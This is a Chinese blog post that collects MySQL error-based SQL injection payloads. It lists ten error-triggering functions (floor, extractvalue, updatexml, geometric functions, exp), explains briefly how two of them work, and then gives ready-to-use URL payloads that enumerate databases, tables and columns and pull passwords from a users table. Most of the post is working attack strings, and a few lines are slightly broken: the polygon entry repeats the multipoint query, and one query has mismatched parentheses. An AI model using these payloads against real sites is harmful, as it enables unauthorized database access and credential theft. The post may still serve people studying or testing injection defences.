报错注入payload

报错注入常用payload

1.floor

select * from test where id=1 and (select1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

​2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

​3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

​4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

​6.polygon()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

​7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

​9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

​10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));


​每一个报错语句都有它的原理:

​	exp()报错原理:exp是一个数字函数,取e的x次方,当我们输入的值大于709就会报错,然后~取反,它的值会大于709,所以报错。

​	updatexml()报错原理:由于uodatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连函数,显然不符合规则,但是会将括号内执行结果以错误的形式显示报出,这样就可以实现报错注入。

​爆库:

?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) --+

​爆表:

?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema=database()  limit 2,1),1) --+

​爆字段:

?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_schema=database() and table_name='test' limit 2,1),1) --+

​爆数据:

?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) --+```

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值